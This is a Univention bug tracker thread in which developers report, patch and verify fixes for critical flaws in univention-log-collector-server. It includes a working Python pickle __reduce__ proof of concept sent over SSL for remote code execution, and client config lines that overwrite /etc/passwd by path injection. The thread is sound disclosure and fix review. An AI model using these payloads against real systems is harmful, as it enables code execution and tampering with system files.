Bug 36452 - Major security issues in univention-log-collector-server
Major security issues in univention-log-collector-server
Status: CLOSED FIXED
Product: UCS
Classification: Unclassified
Component: Security updates
UCS 4.0
Other Linux
: P5 critical (vote)
: UCS 4.0-1-errata
Assigned To: Florian Best
Philipp Hahn
http://hugelolcdn.com/i460/325519.jpg
:
Depends on:
Blocks: 38089
  Show dependency treegraph
 
Reported: 2014-11-05 13:47 CET by Arvid Requate
Modified: 2021-06-23 07:29 CEST (History)
4 users (show)

See Also:
What kind of report is it?: ---
What type of bug is this?: ---
Who will be affected by this bug?: ---
How will those affected feel about the bug?: ---
User Pain:
Enterprise Customer affected?:
School Customer affected?:
ISV affected?:
Waiting Support:
Flags outvoted (downgraded) after PO Review:
Ticket number:
Bug group (optional): Security
Max CVSS v3 score:


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Arvid Requate univentionstaff 2014-11-05 13:47:07 CET
A quick check of univention-log-collector-server shows that it's a security nightmare:

1) It allows the client to specify any target path
2. It neither demands nor checks the SSL certificate of the client


==========================================================================
root@master50:~# echo -e "/var/tmp/mynewpasswd\t/etc" > /etc/logcollector.d/test1
root@master50:~# /etc/init.d/univention-log-collector-client restart

root@master50:~# tail -f /var/log/univention/log-collector-client.log &
Mon Oct  6 14:22:43 2014 [L384]: using master50.ar40i1.qa as loghost
Mon Oct  6 14:22:43 2014 [L137]: SSL connection established

root@master50:~# tail -f /var/log/univention/log-collector-server.log &
Mon Oct  6 14:44:17 2014 [L165]: incoming connection: 10.200.8.50:53431
Mon Oct  6 14:44:17 2014 [L272]: Client 10.200.8.50:
Mon Oct  6 14:44:17 2014 [L305]:  RENAME /etc/passwd ==> /etc/passwd.1
Mon Oct  6 14:44:17 2014 [L286]:   added /etc/passwd

==========================================================================

A user may simply copy /usr/sbin/log-collector-client.py, do two minor path adjustments and he's ready to go.

user1@master50:~$ cat /etc/passwd
fubar
Comment 1 Arvid Requate univentionstaff 2014-11-05 13:49:30 CET
Actually it's

root@master50:~# echo -e "/var/tmp/passwd\t/etc" > /etc/logcollector.d/test1
Comment 2 Florian Best univentionstaff 2015-01-23 14:35:12 CET
Muha, I found this yesterday, too.
Comment 3 Florian Best univentionstaff 2015-02-12 12:49:15 CET
The bug is even worse, it gives me the possibility to execute every code I want when I sent the output of the following snipped to the socket:

# cat exploit.py
import cPickle
import subprocess
import struct

class Exploit(object):
  def __reduce__(self):
    return (subprocess.call, (('/bin/touch', '/tmp/hacked'),))

data = cPickle.dumps(Exploit())
print '%s%s' % (struct.pack('!I', len(data)), data)


# python exploit.py > pickle
# openssl s_client -connect 127.0.0.1:7450 < pickle
# ls /tmp/hacked
Comment 4 Florian Best univentionstaff 2015-02-12 17:14:19 CET
I fixed a lot of things:
* SSL certificates are now required
* vulnerable pickle was changed into JSON in server and client (This requires that both server and client must install the erratum).
* a basedir restriction has been added: files must be underneath of UCRV 'logcollector/targetdir'
* symlink attacks have been fixed
* use univention-debug instead of the own implementation, also handle SIGHUP for logrotation
* Fix evaluation of UCR variable 'logcollector/logrotation/maxsize' (suffix like 'K'/'M'/'G' was removed twice leading to exceptions).
* Fix evaluation of -d parameter (loglevel was not overwritten due to missing global, instantiation is now done in main())
* log also exceptions when the server crashes (It can btw be crashed in a lot of ways, it is completely unrobust ;))

Fix: svn r58010 - 58015
YAML: 2015-02-12-univention-log-collector.yaml
Comment 5 Philipp Hahn univentionstaff 2015-03-16 12:03:38 CET
(In reply to Florian Best from comment #4)
> * SSL certificates are now required

OK: r58015

> * vulnerable pickle was changed into JSON in server and client (This
> requires that both server and client must install the erratum).

FAIL r58013: This is an incompatible API change which is unsuitable for an erratum update - earliest UCS-4.1 - we can't force our customers to update all their servers at-once.
This would require some "protocol version number" for backward compatibility, but my short research has not found any simple way do limit pickle to only un-pickle safe objects - so I know of no way to fix this easily.

> * a basedir restriction has been added: files must be underneath of UCRV
> 'logcollector/targetdir'
> * symlink attacks have been fixed

OK: r58014

> * use univention-debug instead of the own implementation, also handle SIGHUP
> for logrotation

OK: r58011

> * Fix evaluation of UCR variable 'logcollector/logrotation/maxsize' (suffix
> like 'K'/'M'/'G' was removed twice leading to exceptions).
> * Fix evaluation of -d parameter (loglevel was not overwritten due to
> missing global, instantiation is now done in main())
> * log also exceptions when the server crashes (It can btw be crashed in a
> lot of ways, it is completely unrobust ;))

OK: r58012

> Fix: svn r58010 - 58015
> YAML: 2015-02-12-univention-log-collector.yaml

OK: 2015-02-12-univention-log-collector.yaml
OK: errata-announce -V 2015-02-12-univention-log-collector.yaml


(In reply to Florian Best from comment #3)
> The bug is even worse, it gives me the possibility to execute every code I
> want when I sent the output of the following snipped to the socket:

FYI: pickle allows to execute arbitrary code on un-pickling due to <https://docs.python.org/2.6/library/pickle.html#object.__reduce__>
Comment 6 Florian Best univentionstaff 2015-03-18 16:30:06 CET
(In reply to Philipp Hahn from comment #5)
> > * vulnerable pickle was changed into JSON in server and client (This
> > requires that both server and client must install the erratum).
> 
> FAIL r58013: This is an incompatible API change which is unsuitable for an
> erratum update - earliest UCS-4.1 - we can't force our customers to update
> all their servers at-once.
> This would require some "protocol version number" for backward
> compatibility, but my short research has not found any simple way do limit
> pickle to only un-pickle safe objects - so I know of no way to fix this
> easily.

svn r59173: reuse pickle with little more security. I think it's not vulnerable anymore but I can't guarantee.
Comment 7 Florian Best univentionstaff 2015-03-19 14:27:49 CET
In svn r59245 I changed the way how the objects are unpickled on client and server side.
Using the following code snipped:

>>> unpickler = cPickle.Unpickler(fd);
>>> unpickler.find_global = None
>>> unpickler.load()

This is also the code openerp-server uses (so if we are vulnerable, they are too ;))
Guys from freenode.net/#python say that this is still vulnerable but they can't provide me a exploit. I guess it is fine as first step.
Comment 8 Philipp Hahn univentionstaff 2015-03-20 17:06:51 CET
OK: 59245 59246
OK: apt-cache policy univention-log-collector-server # 8.0.0-2.28.201411051255
OK: apt-cache policy univention-log-collector-client # 8.0.0-2.28.201411051255
OK: univention-install univention-log-collector-server
OK: univention-install univention-log-collector-client

FAIL:

old univention-log-collector-server 8.0-0-5.31.201503191345:
> 20.03.15 16:55:00.264  MAIN        ( ERROR   ) : incoming connection: 10.200.17.71:58123
> 20.03.15 16:55:00.264  MAIN        ( INFO    ) : GOT NEW DATA
> 20.03.15 16:55:00.265  MAIN        ( INFO    ) : SSL.WantReadError
> 20.03.15 16:55:00.266  MAIN        ( INFO    ) : GOT NEW DATA
> 20.03.15 16:55:00.267  MAIN        ( PROCESS ) : SSL error: [('SSL routines', 'SSL3_GET_CLIENT_CERTIFICATE', 'peer did not return a certificate')]. Probably the socket was closed by the client.

new univention-log-collector-client 8.0.0-2.28.201411051255:
> Fri Mar 20 16:56:49 2015 [L319]: ERROR: sending send_queue failed
> ...


FAIL: Still vulnerabel to custom paths:

new univention-log-collector-server 8.0.0-2.28.201411051255
# tail /var/log/univention/log-collector-server.log
> Fri Mar 20 17:01:27 2015 [L272]: Client 10.200.17.71:
> Fri Mar 20 17:01:27 2015 [L286]:   added /var/log/logcollector/10.200.17.71/dir/dpkg.log
> Fri Mar 20 17:01:27 2015 [L286]:   added /etc/mynewpasswd
# cat /etc/mynewpasswd
> Fr 20. Mär 17:01:20 CET 2015

new univention-log-collector-client 8.0.0-2.28.201411051255
# cat /etc/logcollector.d/test1 
/var/tmp/mynewpasswd    /etc
Comment 9 Florian Best univentionstaff 2015-03-23 12:32:20 CET
(In reply to Philipp Hahn from comment #8)
> FAIL:
> 
> old univention-log-collector-server 8.0-0-5.31.201503191345:
> > 20.03.15 16:55:00.264  MAIN        ( ERROR   ) : incoming connection: 10.200.17.71:58123
> > 20.03.15 16:55:00.264  MAIN        ( INFO    ) : GOT NEW DATA
> > 20.03.15 16:55:00.265  MAIN        ( INFO    ) : SSL.WantReadError
> > 20.03.15 16:55:00.266  MAIN        ( INFO    ) : GOT NEW DATA
> > 20.03.15 16:55:00.267  MAIN        ( PROCESS ) : SSL error: [('SSL routines', 'SSL3_GET_CLIENT_CERTIFICATE', 'peer did not return a certificate')]. Probably the socket was closed by the client.
yes, reverted the SSL validity check. svn r59314.

> FAIL: Still vulnerabel to custom paths:
No, as you can see in the log output this is the old log-collector-server daemon.
Comment 10 Florian Best univentionstaff 2015-03-23 12:35:48 CET
Package: univention-log-collector
Version: 8.0.0-5.32.201503231230
Comment 11 Philipp Hahn univentionstaff 2015-03-24 10:01:39 CET
OK: apt-cache policy univention-log-collector-client # 8.0.0-5.32.201503231230
OK: apt-cache policy univention-log-collector-server # 8.0.0-5.32.201503231230
OK: aptitude install '?source-package(univention-log-collector)~i'

OK: old server, new client: still vulnerable as expected
OK: new server, old client: Hacking attempt
OK: new server, new client: Hacking attempt
OK: unpickling failed. hacking attempt? UnpicklingError('Global and instance pickles are not supported.',)

OK: r59314 src
OK: r59315 YAML

OK: 2015-02-12-univention-log-collector.yaml
OK: errata-announce -V 2015-02-12-univention-log-collector.yaml
Comment 12 Janek Walkenhorst univentionstaff 2015-03-25 16:35:50 CET
<http://errata.univention.de/ucs/4.0/114.html>